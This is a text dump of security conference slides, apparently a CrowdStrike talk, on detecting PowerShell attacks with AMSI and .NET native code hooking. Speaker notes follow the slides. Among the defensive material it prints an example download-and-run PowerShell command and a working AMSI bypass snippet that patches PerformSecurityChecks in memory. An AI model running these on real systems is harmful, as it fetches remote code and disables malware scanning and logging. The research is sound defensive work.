  • 6. 2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED.6 ABOUT TALK How to defend ourselves against PowerShell threats
  • 7. 2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED. 1 Challenges with PowerShell Attacks & AMSI 2 Introduction to .NET Native Code Hooking 3 Gaining Visibility into PowerShell 4 Takeaways & Recommendation 7
  • 8. CHALLENGES WITH POWERSHELL ATTACKS & AMSI 2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED.8
  • 9. 2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED. MALICIOUS POWERSHELL VS ANTIVIRUS  PowerShell is commonly used within the attack chain  Hard to detect with AV software  Host process (powershell.exe) is a signed, legitimate file  Script files can easily be mutated (ie, whitespace, comments, variable names)  Script files may not be used at all  PowerShell engine can be “injected” into arbitrary processes to run commands (eg, PSInject)  Even harder in reality: 9 >powershell -file “C:UsersstandaAppDataLocalTempns13094.ps1" >powershell -command “iex (New-Object Net.WebClient).DownloadString('http://is.gd/oeoFuI’)” >powershell -enc SQBtAHAAbwByAHQALQBNAG8AZAB1AGwAZQAgAEIAaQB0A…
  • 10. ANTIMALWARE SCAN INTERFACE (AMSI)  New Feature introduced with Windows 10  Software can be registered as an AMSI provider (requires NDA w/ Microsoft, formally)  Script engines forward script content to AMSI providers before execution  AMSI providers can scan and block content from execution 2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED.10 System.Management. Automation.dll Jscript.dll Amsi.dll Amsi.dll Amsi.dll AMSI Provider AsmiScanString IAntimalwareProvider::Scan
  • 11. 2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED. SILVER BULLET  Content of script file being executed is visible  Invoke-Expression’d strings is visible  Decoded strings of -EncodedCommand is visible  Activated whenever the PowerShell engine is loaded 11
  • 12. OR, IS IT? (1/2)  AMSI is only available for PowerShell v5+ on Windows 10  Older Windows versions are unprotected  Unprotected against PowerShell v2 (the downgrade attack)  AMSI does not do de-obfuscation as you might have wished  Naïve regex can be bypassed
  • 13. OR, IS IT? (2/2)  AMSI can be disabled though PowerShell without admin privileges  AMSI provider must detect the first attack content, or all bypassed  Unresolved flaw exists preventing AMSI providers from receiving correct data System.Management. Automation.dll Amsi.dll Amsi.dll Amsi.dll AMSI Provider AsmiScanString IAntimalwareProvider::Scan COM Hijacking Reflection-based attacks
  • 14. 2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED. RECAP & MOTIVATION  PowerShell threats are common and hard to detect  AMSI provides significant help but comes with limitations  Can we do anything? 15
  • 15. 2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED.16
  • 16. INTRODUCTION TO .NET NATIVE CODE HOOKING 2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED.17
  • 17. 2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED. .NET NATIVE CODE HOOKING  A technique to modify behavior of managed programs by overwriting generated native code at the runtime  This allows you to inspect and change behavior of programs  First introduced by Topher Timzen and Ryan Allen  Its advantages over the other .NET hooking techniques were thoroughly analyzed by Amanda Rousseau recently 18
  • 18. 2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED. BASICS OF MANAGED PROGRAM EXECUTION (1/2)  Code written in a Common Language Infrastructure language, such as C#, is compiled into a program made up of Microsoft Intermediate Language (MSIL)  We call such a program as a “managed program”  MSIL is compiled into native assembly code in two ways:  Just-In-Time (JIT) compile at runtime on memory by the JIT compiler  Ahead-Of-Time (AOT) of execution on disk by Ngen  Native code is executed either way 19 C# Source File(s) C# Compiler MSIL (Executable File) CLR (JIT Compiler) Ngen Native Code (Memory) Native Code (Executable File) Compile JIT Compile AOT Compile
  • 19. 2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED. BASICS OF MANAGED PROGRAM EXECUTION (2/2)  Managed programs are executed on the top of .NET Framework, which provides API to be called by the managed programs 20 Assembly.NET Framework Win32 API Assembly Assembly DLL DLL DLLDLL DLL DLL Managed Program Unmanaged Program
  • 20. 2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED. BASICS OF MANAGED PROGRAM EXECUTION (2/2)  Managed programs are executed on the top of .NET Framework, which provides API to be called by the managed programs 21 Assembly.NET Framework Win32 API Assembly Assembly DLL DLL DLLDLL DLL DLL Managed Program Unmanaged Program Hook Hook Hook Hook Hook
  • 21. 2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED. OVERVIEW OF HOOKING  Flow of the unmanaged (eg, C++) code hooking technique: 1. Execute hooking code inside a target process 2. Locate the address of a target function 3. Overwrite native code at the address  .NET native code hooking is same, except that it targets .NET assemblies and methods 22
  • 22. 2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED. HOW TO LOCATE AN ADDRESS OF NATIVE CODE  Reflection is a technology to allow managed programs to find and access the information of assemblies, methods, and fields etc. at runtime  Think of this as full source code access at runtime  RuntimeMethodHandle.GetFunctionPointer method returns the address of compiled native code if already compiled  Think of this as GetProcAddress API, but not limited to exports!  If a target method has not yet executed, it might not be compiled and might not yet have native code to be located  JIT compilation can be triggered with the RuntimeHelpers.PrepareMethod method 23
  • 23. 2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED. EXAMPLE CODE (C#) // Get an AmsiUtils class from an assembly targetClass = targetAssembly.GetType("System.Management.Automation.AmsiUtils"); // Get a ScanContent method of the class targetMethod = targetClass.GetMethod("ScanContent", ...); // Perform JIT compilation if not done yet RuntimeHelpers.PrepareMethod(targetMethod.MethodHandle); // Get an address of compiled native code targetAddr = targetMethod.MethodHandle.GetFunctionPointer(); // Overwrite contents of the address to install hook // ... 24
  • 24. 2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED. HOW TO EXECUTE HOOKING MANAGED CODE  One must be able to execute managed code inside a target process to install hooks  This can be achieved by using the Hosting API from unmanaged code  We will refer to such code as bootstrap code  The API lets unmanaged code interact with managed code and load an assembly into the managed code realm  Bootstrap code can be injected in many ways (eg, AppInit_Dlls, device drivers) 25
  • 25. 2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED. USING UNMANAGED CODE 1. Inject bootstrap code into a target process 2. Bootstrap code loads (or “injects”) a hooking assembly into the managed code realm 3. The hooking assembly locates a target method, triggers JIT compilation as needed, overwrites its native code 26 Managed Unmanaged Kernel User Bootstrap Hooking Assembly Target Assembly Driver (*) 1) Inject bootstrap code 2) Load managed assembly 3) Force to JIT compile, modify compiled native code Target Process Address Space *) Optionally, use a driver
  • 26. 2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED. USING APPDOMAINMANAGER 1. Register an assembly implements a custom AppDomainManager 2. CLR loads the assembly when the first AppDomain is created (at init-time of the managed code realm). 3. The hooking assembly locates a target method, triggers JIT compilation as needed, overwrites its native code  Pros: least code required  Cons: need special settings (env var) 27 Managed Unmanaged Kernel User Hooking Assembly Target Assembly 3) Force to JIT compile, modify compiled native code Target Process Address Space .NET (CLR) 2) Load managed assembly
  • 27. 2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED.28
  • 28. GAINING VISIBILITY INTO POWERSHELL 2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED.29
  • 29. 2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED. POWERSHELL IS A MANAGED PROGRAM  PowerShell language is implemented in System.Management.Automation.dll written in C#  We will refer to the DLL as SMA.dll  Powershell.exe is just a client program of the DLL  Any behavior of SMA.dll can be intercepted and altered with the technique 30 Assembly.NET Framework Win32 API Assembly Assembly DLL DLL DLL Managed Program Hook Hook Hook
  • 30. 2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED. ENHANCING AMSI & MORE  Implement an AMSI equivalent feature for Windows 8.1 and earlier  Implement an AMSI equivalent feature for PowerShell 4 and earlier  Make AMSI bypass-resilient  Cmdlet execution  De-obfuscating strings 31
  • 31. 2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED. EMULATING AMSI ON OLDER WINDOWS + PS V5  Possible to emulate AMSI by hooking methods in SMA.dll  In SMA.dll for v5, invocation to AMSI providers is implemented by the AmsiUtils.ScanContent method  Overwrite this with your own scan logic internal static AmsiNativeMethods.AMSI_RESULT ScanContent (string content, string sourceMetadata) { if (amsiInitFailed) { return AmsiNativeMethods.AMSI_RESULT.AMSI_RESULT_NOT_DETECTED; } //... hr = AmsiNativeMethods.AmsiScanString(...); 32
  • 32. 2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED. EMULATING AMSI ON OLDER POWERSHELL  Some challenges:  No AmsiUtils class, and no open source implementation  Appropriate methods must be found with reverse engineering  Good news ;-)  Free .NET decompilers out there, and those produce VERY readable code  dotPeek, ILSpy, JustDecompile  Debugger works as if you had source code  WinDbg + SOS and SOSEX  Many implementation are still similar to the open sourced version 33
  • 33. 2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED. AMSI BYPASS-PROOF  Known AMSI bypass techniques prevent the ScanContent method from calling the AmsiScanString function or using a proper AMSI provider DLL  Resetting amsiContext or amsiInitFailed  Hijacking COM  The unresolved flaw prevents AMSI providers from receiving correct data from AMSI.dll  None affect the emulated logic since nor ScanContent nor an AMSI provider is used 34 System.Management. Automation.dll Amsi.dll Amsi.dll Amsi.dll AMSI Provider Hooked Code AsmiScanString IAntimalwareProvider::Scan
  • 34. 2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED. FURTHER VISIBILITY: CMDLET EXECUTION  Access to all parameters that are already de-obfuscated  The ProcessRecord method is called when a cmdlet is executed  Eg, the InvokeExpressionCommand.ProcessRecord method for Invoke-Expression  The “this” pointer holds all parameters  PS> IEX ("{6}{2}{1}{4}{5}{3}{0}" -f 'd!','Hos','e-',' is a bad comman','t t','his','Writ’)  this->_command holds “Write-Host this is a bad command!” when the method is called 35
  • 35. 2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED. DEMO: EMULATED AMSI & MORE 36
  • 36. 2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED. CHALLENGES & LIMITATIONS  Requires reverse engineering and implementation-dependent code  Can be noisy when lower-level methods are hooked  An attacker can break hooks with the same technique (hooks are not security boundary) 37 # # Overwrites PerformSecurityChecks as { return } # disabling AMSI and the most of suspicious script block logging. # > $code = [byte[]](0xc3); > $addr = [Ref].Assembly.GetType('System.Management.Automation.CompiledScriptBlockData').GetMethod('PerformSecurityChecks', 'NonPublic,Instance', $null, [Type]::EmptyTypes, $null).MethodHandle.GetFunctionPointer(); > $definition = '[DllImport("kernel32.dll")] public static extern bool VirtualProtect(IntPtr Address, UInt32 Size, UInt32 NewProtect, out UInt32 OldProtect);‘; > $kernel32 = Add-Type -MemberDefinition $definition -Name ‘Kernel32’ -Namespace ‘Win32’ -PassThru; > $oldProtect = [UInt32]0; > $kernel32::VirtualProtect($addr, $code.Length, 0x40, [ref]$oldProtect); > [Runtime.InteropServices.Marshal]::Copy($code, 0, $addr, $code.Length);
  • 37. TAKEAWAYS & RECOMMENDATION 2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED.38
  • 38. 2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED. TAKEAWAYS  AMSI significantly increases visibility into script execution as-is, but comes with limitations  .NET native code hooking allows you to inspect behavior of managed programs  AMSI-equivalent features can be implemented on earlier versions of Windows and PowerShell  More extended capabilities can also be implemented as needed 39
  • 39. 2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED.40 FOR ENTERPRISE DEFENDERS  Use Windows 10 + PowerShell v5, and review security features available  AMSI gives excellent visibility as-is despite its limitations  Script block logging provides postmortem visibility  JEA (Just Enough Administration) restricts what admins can do with PowerShell  Enable Constrained Language Mode with AppLocker or Device Guard  Kills PowerShell (reflection) based AMSI and script block logging bypasses (and more!)  Remove PowerShell v2  Prevents the downgrade attack  Keep systems up to date  A fix of the AMSI bypass flaw will be coming soon
  • 40. 2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED.41 FOR HUNTERS & SECURITY SOFTWARE VENDORS  Understand capabilities AMSI offers (AMSI is supported and evolving)  Review the .NET native code hooking technique for your goals  It is a powerful technique to inspect managed programs  Core concept is simple and has little undocumented-ness  Can be handy for malware analysis too (eg, dynamic analysis, unpacking)  Play with sample code to learn more: github.com/tandasat/DotNetHooking  Can be applied for .NET Core (ie, PowerShell v6)  Pay attention to appearance of GetFunctionPointer in PowerShell  This technique can be abused by attackers  Add-Type & VirtualProtect might not be required (JIT-ed code is RWE by default)
  • 41. 2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED. ACKNOWLEDGEMENTS  Alex Ionescu (@aionescu)  Aaron LeMasters (@lilhoser)  Researchers influenced and motivated me the most:  Matt Graeber (@mattifestation)  Daniel Bohannon (@danielbohannon) 42
  • 42. THANK YOU! Satoshi Tanda @standa_t 2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED.43
  • 43. QUESTIONS 2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED.44
  • 44. 2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED. RESOURCES: RELEVANT RESEARCH  AMSI: How Windows 10 Plans to Stop Script-Based Attacks and How Well It Does It  Nikhil Mittal  https://www.blackhat.com/docs/us-16/materials/us-16-Mittal-AMSI-How-Windows-10-Plans-To-Stop-Script-Based-Attacks-And-How-Well-It-Does-It.pdf  Hijacking Arbitrary .NET Application Control Flow  Topher Timzen and Ryan Allen  https://media.defcon.org/DEF%20CON%2023/DEF%20CON%2023%20presentations/DEFCON-23-Topher-Timzen-Ryan-Allen-Hijacking-Arbitrary-NET- Application-Control-FlowWP.pdf  .Net Hijacking to Defend PowerShell  Amanda Rousseau  https://www.slideshare.net/AmandaRousseau1/net-hijacking-to-defend-powershellbsidessf2017  https://arxiv.org/ftp/arxiv/papers/1709/1709.07508.pdf  AMSI Bypass via PowerShell  Matt Graeber  https://twitter.com/mattifestation/status/735261120487772160  https://gist.github.com/mattifestation/46d6a2ebb4a1f4f0e7229503dc012ef1  AMSI Bypass via Hijacking  Matt Nelson  https://enigma0x3.net/2017/07/19/bypassing-amsi-via-com-server-hijacking/ 45
  • 45. 2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED.46 RESOURCES: CLR & .NET INTERNALS  CoreCLR -- the open source version of CLR and .NET Framework  https://github.com/dotnet/coreclr/tree/master/Documentation/botr  https://github.com/dotnet/docs  PowerShell Core -- the open source version of PowerShell  https://github.com/PowerShell/PowerShell  Hosting API and Injection  https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/  https://code.msdn.microsoft.com/windowsdesktop/CppHostCLR-e6581ee0 (CLR 4)  https://code.msdn.microsoft.com/windowsdesktop/CppHostCLR-4da36165 (CLR 2)
  • 46. 2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED.47 RESOURCES: POWERSHELL DEBUGGING  Debugging Managed Code Using the Windows Debugger  https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/debugging-managed- code  WinDbg / SOS Cheat Sheet  http://geekswithblogs.net/.netonmymind/archive/2006/03/14/72262.aspx  WinDbg cheat sheet  https://theartofdev.com/windbg-cheat-sheet/  SOSEX  http://www.stevestechspot.com/  MEX Debugging Extension for WinDbg  https://blogs.msdn.microsoft.com/luisdem/2016/07/19/mex-debugging-extension-for-windbg-2/
  • 47. 2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED.48 RESOURCES: EXAMPLE DEBUGGING SESSION (1/2)# # STEP 1: Run powershell.exe normally and attach with a WinDbg. Then break in # to a debugger, and load SOS and SOSEX extensions. # 0:003> .loadby sos mscorwks 0:003> .load C:windbg_initsosex_64sosex.dll # # STEP 2: Set a breakpoint onto the InvokeExpressionCommand.ProcessRecord method # 0:003> !mbm Microsoft.PowerShell.Commands.InvokeExpressionCommand.ProcessRecord Breakpoint set at Microsoft.PowerShell.Commands.InvokeExpressionCommand.ProcessRecord() in AppDomain 0000018a8fbe1670. 0:003> g # # STEP 3: Execute the Invoke-Expression cmdlet on PowerShell. The breakpoint # should hit. # PS> IEX ("{6}{2}{1}{4}{5}{3}{0}" -f 'd!','Hos','e-',' is a bad comman','t t','his','Writ')
  • 48. 2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED.49 RESOURCES: EXAMPLE DEBUGGING SESSION (2/2)# # STEP 4: Dump contents of the "this" pointer and find the address of the # _command field. # 0:006> !do rcx ... Fields: MT Field Offset Type VT Attr Value Name ... 00007fff58e27ed0 4000252 70 System.String 0 instance 0000018a91e5fef0 _command # # STEP 5: Dump contents of the _command field. # 0:006> !do 0000018a91e5fef0 ... String: Write-Host this is a bad command!

Editor's Notes

  • #2: I am going to start by giving thanks to Kana and all content reviewers for letting me join CodeBlue as a speaker. I had never participated in CodeBlue even though I have been working for computer security. The reason was CodeBlue started in 2013, after I moved to Canada. I kept hearing news about this conference even though I was in Canada, and started to think I wasted join CodeBlue, especially as a speaker. So I am glad to be here as a speaker. Also, thanks to all of you for coming to my sessio. I am hoping that I can give you useful information that is applicable to your jobs in this session.
  • #4: This talk is connected to my background. This chart is taken from Google Trend showing how often the word “Upatre” was searched on Google. Upatre is a name of downloader malware
  • #6: … and I started to realize that PowerShell based attacks were more prevalent and carried out in wider situations, than other script based attacks.
  • #7: I started to look into ways to gain more visibilities into PowerShell based attacks. This talk is to share some of research findings, so that you can understand current threat landscape and existing protection measures, as well as ways to apply little known .Net hooking based technique to gain more visibility and protect ourselves from PowerShell attacks.
  • #10: As a downloader, post exploitation (open source made PS common) How AV works – PE focused, lack of toolsets AV has ability to handle hash buster but hard with PS due to no structure “Shell” usage is the first class citizen AV looks at a command line parameter, but not always sufficient
  • #12: - Does not address all challenges (eg, host is powershell.exe, need to deal with texts)
  • #13: However, we do not live in the perfect world
  • #15: 20min AMSI basics AMSI vs obfuscation Disabling AMSI (without event log) PowerShell –v
  • #16: 25 mins
  • #28: The AppDomainManager is a special .NET class that can be loaded and executed before a managed program is fully initialized.
  • #31: - 40mins
  • #37: 50mins AMSI bypass vs emulated AMSI Emulated AMSI for PowerShell v2 vs Invoke-Expression
  • #43: At the end, thanks Alex Ionescu and Aaron LeMasters who helped me in many aspects for this research. And, thanks Matt Graeber and Daniel Bohannon for their great research regarding PowerShell attacks and protections. I would not be that interested in PowerShell threat landscape without their work.